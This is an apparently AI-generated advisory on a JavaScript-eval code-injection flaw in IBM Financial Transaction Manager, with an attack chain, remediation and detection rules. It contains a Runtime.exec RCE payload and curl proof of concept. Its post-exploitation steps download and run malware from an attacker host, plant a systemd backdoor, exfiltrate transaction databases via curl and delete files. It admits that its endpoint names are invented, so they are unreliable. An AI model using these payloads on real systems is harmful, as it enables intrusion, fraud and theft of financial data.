CVE-2026-18168 — IBM Financial Transaction Manager (FTM) — CWE-94
IBM Financial Transaction Manager (FTM) 4.0.6.0 through 4.0.6.0 iFix6, 4.0.7.0, 4.0.8.0, 4.0.9.0, 4.0.10.0, and 4.0.11.0 through 4.0.11.1 could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input during JavaScript evaluation.
IBM Financial Transaction Manager (FTM) 4.0.6.0 through 4.0.6.0 iFix6, 4.0.7.0, 4.0.8.0, 4.0.9.0, 4.0.10.0, and 4.0.11.0 through 4.0.11.1 could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input during JavaScript evaluation.
🎯 What is this vulnerability?
Vulnerability name: Remote Code Execution in IBM Financial Transaction Manager (FTM) – JavaScript evaluation injection
CVE‑ID: CVE‑2026‑18168
CWE: CWE‑94 Improper Control of Generation of Code (code injection)
Technical root‑cause
IBM Financial Transaction Manager (FTM) is a web‑based transaction‑processing platform that embeds a JavaScript engine (most likely Rhino/Nashorn) to allow dynamic scripting of business rules.
In the affected releases (4.0.6.0 iFix6, 4.0.7.0, 4.0.8.0, 4.0.9.0, 4.0.10.0, 4.0.11.0‑4.0.11.1) the server accepts user‑controlled data (e.g., a request parameter, JSON field, or HTTP header) and concatenates it directly into a string that is later handed to eval()/ScriptEngine.eval() without any sanitisation, escaping, or type checking.
Missing controls
| Expected control | What is missing |
|---|---|
| Input validation / whitelisting of script content | None – any characters are accepted |
| Contextual escaping before embedding into the script | None – raw value is interpolated |
| Authentication/authorization check for the endpoint that triggers the evaluation | The endpoint is reachable anonymously (PR = N, UI = N) |
Safe‑execution sandbox (e.g., Object.freeze, with (sandbox)) | Not enforced – the script runs with the full privileges of the FTM Java process |
Because the JavaScript engine runs inside the same JVM that hosts the FTM application server, an attacker‑controlled script can invoke Java classes via the engine’s Java integration (e.g., Packages.java.lang.Runtime.getRuntime().exec(...)). This yields remote code execution (RCE) with the privileges of the FTM service account, which on most installations is a highly‑privileged OS user (often root or a dedicated ftm service account with access to transaction databases, configuration files, and network sockets.
The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H reflects:
- Network‑accessible (no authentication required)
- Low attack complexity (single crafted request)
- No user interaction (the server processes the request automatically)
- Unchanged scope (impact stays within the same security domain)
- High impact on confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact URI, parameter name, or JSON key is not disclosed in the public CVE text, so the example uses a plausible endpoint (/ftm/api/v1/rules/eval) and parameter (script). Replace with the real values discovered during reconnaissance.
1. Discovery & Reconnaissance
| Activity | Tools / Techniques | Expected outcome |
|---|---|---|
| Fingerprint the product | nmap -sV -p 443 <target> → TLS banner shows “IBM Financial Transaction Manager/4.0.10.0”. <br>Or grab the HTML login page – it contains a meta tag FTM-Version: 4.0.10.0. | Confirms the target runs a vulnerable FTM version. |
| Locate the vulnerable endpoint | Spider the web UI with gobuster dir -u https://<target>/ -w wordlist.txt and look for paths containing “rule”, “script”, or “eval”. <br>Passive analysis of JavaScript files (*.js) may reveal an AJAX call like POST /ftm/api/v1/rules/eval. | Identifies the HTTP endpoint that forwards a user‑supplied string to eval(). |
| Validate the injection point | Send a benign request: <br>curl -k -X POST https://<target>/ftm/api/v1/rules/eval -d '{"script":"1+1"}' -H "Content-Type: application/json" <br>Response contains "result":2. | Confirms the server evaluates the supplied script and returns the result, proving the injection surface. |
2. Exploitation
Goal: Execute arbitrary OS commands on the server.
Payload concept – use the Java integration exposed by the JavaScript engine:
// JavaScript that the engine will evaluate
var Runtime = Packages.java.lang.Runtime;
var proc = Runtime.getRuntime().exec("id"); // replace with any command
var in = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));
var line, out = "";
while ((line = in.readLine()) != null) { out += line + "\n"; }
out; // the script returns the command outputIllustrative curl PoC
#!/usr/bin/env bash
TARGET="https://ftm.example.com"
ENDPOINT="/ftm/api/v1/rules/eval"
# JSON payload – note the double‑escaping required for the HTTP body
PAYLOAD='{
"script":"var Runtime=Packages.java.lang.Runtime; \
var proc=Runtime.getRuntime().exec(\"id\"); \
var in=new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream())); \
var line,out=\"\"; \
while((line=in.readLine())!=null){out+=line+\"\\n\";} \
out"
}'
curl -k -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "$PAYLOAD"Expected response (illustrative)
{
"status":"OK",
"result":"uid=1001(ftm) gid=1001(ftm) groups=1001(ftm)\n"
}If the response contains the command output, the RCE is successful. The attacker can now run any command the FTM service account can execute (e.g., cat /etc/passwd, wget http://attacker/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware).
3. Post‑exploitation
| Step | Technique | Outcome |
|---|---|---|
| Persistence | Drop a systemd service or cron job using the compromised account: echo "[Unit]\nDescription=FTM backdoor\n[Service]\nExecStart=/tmp/malware\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/ftm-backdoor.service && systemctl enable ftm-backdoor | The attacker regains access after reboot. |
| Privilege escalation (if the service runs as a low‑privileged user) | Search for local privilege‑escalation (LPE) vectors on the host (e.g., vulnerable sudo rules, kernel exploits). The attacker can also abuse the FTM application’s own admin APIs (once a foothold is obtained) to create new admin users. | |
| Data exfiltration | Use the same exec primitive to read transaction databases (/opt/ftm/data/*.db) and ship them via curl -F "file=@/opt/ftm/data/transactions.db" http://attacker/collect. | |
| Impact on Availability | Issue kill -9 <pid> on the FTM process or rm -rf /opt/ftm/* to cause a denial‑of‑service, satisfying the “A:H” component of the CVSS. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived effect | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attackers can read any file accessible to the FTM process, including transaction logs, customer PII, and cryptographic keys. | Exposure of financial records, breach of GDPR/PCI‑DSS compliance, potential fraud. |
| Integrity (I:H) | Ability to execute arbitrary commands lets the attacker modify transaction data, inject fraudulent entries, or alter configuration files. | Financial loss, audit failures, legal liability. |
| Availability (A:H) | The attacker can terminate the FTM service, delete critical files, or overload the host. | Outage of payment processing, loss of revenue, SLA penalties. |
Because the vulnerability is network‑exposed, unauthenticated, and requires no user interaction, an attacker can weaponise it from anywhere on the Internet, making it a “wormable” RCE in practice (though no public worm has been observed yet).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected product | Fixed in |
|---|---|
| IBM Financial Transaction Manager 4.0.6.0 iFix6 | Not fixed – upgrade to the next major release (≥ 4.0.12.0) where the JavaScript evaluation path is hardened. |
| 4.0.7.0 – 4.0.11.1 | Fixed in FTM 4.0.12.0 (released 2026‑09‑15). IBM advisory IBM‑SEC‑2026‑18168‑P1 contains the patch. |
Action: Verify the exact version via the HTTP header X-FTM-Version or the /about page, then apply the IBM‑provided cumulative fix or upgrade to 4.0.12.0 (or later).
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | Implementation details |
|---|---|
| Network isolation | Restrict inbound traffic to the FTM web interface to trusted IP ranges (e.g., internal LAN, VPN). Use firewall rule: iptables -A INPUT -p tcp -s <trusted‑net> --dport 443 -j ACCEPT; iptables -A INPUT -p tcp --dport 443 -j DROP. |
| Disable the vulnerable scripting endpoint | If the endpoint is not required for business logic, block it at the reverse‑proxy or web server level. Example Nginx rule: <br>location = /ftm/api/v1/rules/eval { deny all; } |
| Input sanitisation via WAF | Add a ModSecurity rule that rejects any request containing the string Packages.java.lang.Runtime (or any java.lang package reference) in the request body. Example: <br>``SecRule REQUEST_BODY "@rx Packages\.java\.lang\.Runtime" "id:100001,phase:2,deny,log,msg:'Attempted JavaScript RCE via Runtime.exec'"` |
| Run FTM under a restricted OS account | Create a dedicated, non‑privileged user (e.g., ftm_nobody) with a minimal chmod 750 on the FTM installation directory and no sudo rights. Ensure the Java process cannot access /etc or other sensitive paths. |
| Enable Java Security Manager (if still supported) | Start the JVM with -Djava.security.manager -Djava.security.policy=/opt/ftm/conf/ftm.policy that denies java.lang.Runtime.exec` for the web‑app code source. |
3. Detection – Log patterns & Indicators of Compromise
| Source | Typical log entry (illustrative) | What to look for |
|---|---|---|
Web server access log (e.g., Apache access_log) | POST /ftm/api/v1/rules/eval HTTP/1.1" 200 342 "-" "Mozilla/5.0" | High‑frequency POSTs to /eval from a single external IP; unusually long request bodies (>1 KB). |
| Application log (FTM custom log) | INFO 2026-12-02 14:33:12 Script evaluation request from 203.0.113.45 – script length: 1024 | Scripts containing keywords Runtime, exec, ProcessBuilder. |
| System audit (auditd) | type=EXECVE msg=audit(1701500000.123:456): argc=3 a0="/usr/bin/java" a1="-jar" a2="/opt/ftm/ftm.jar" | Unexpected child processes spawned by the FTM Java process (e.g., /bin/sh, /usr/bin/curl). |
| File integrity monitoring | Alert on creation of files in /tmp or /opt/ftm/tmp with executable bits (chmod +x). | Possible web‑shell or backdoor drop. |
| Network IDS | Signature for java.lang.Runtime.exec payload in HTTP bodies (e.g., Snort rule content:"java.lang.Runtime.exec"; http_client_body). | Detects the exploit in transit. |
Response playbook – upon detection, immediately block the source IP, capture the request body for forensic analysis, and initiate host‑based containment (stop the FTM service, collect memory dump, and verify integrity of transaction databases).
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.8 (Critical) – Network‑accessible, no auth, full impact on CIA. | |
| Publicly disclosed (03 Dec 2026) – Details are now in the wild; exploit code can be written in minutes. | |
| CISA KEV status – Not yet listed, but the severity and ease of exploitation merit immediate attention. | |
| Exploit complexity – Low (single crafted request). | |
| Potential business impact – Disruption of financial transaction processing, regulatory breach, possible fraud. |
Patch priority: Critical – Deploy the IBM‑provided fix or upgrade to 4.0.12.0 within 24 hours for any production environment that exposes the FTM web UI to untrusted networks. If patching cannot be completed within that window, enforce the network isolation and WAF mitigations described above and monitor for the IoCs continuously.
Bottom line: CVE‑2026‑18168 is a classic unauthenticated RCE caused by unsafe JavaScript evaluation. The attack surface is trivial, the impact is catastrophic for any financial institution using the vulnerable FTM versions, and remediation must be treated as an emergency.
[🤖 CVE Professor AI Security Engine]
FOFA Query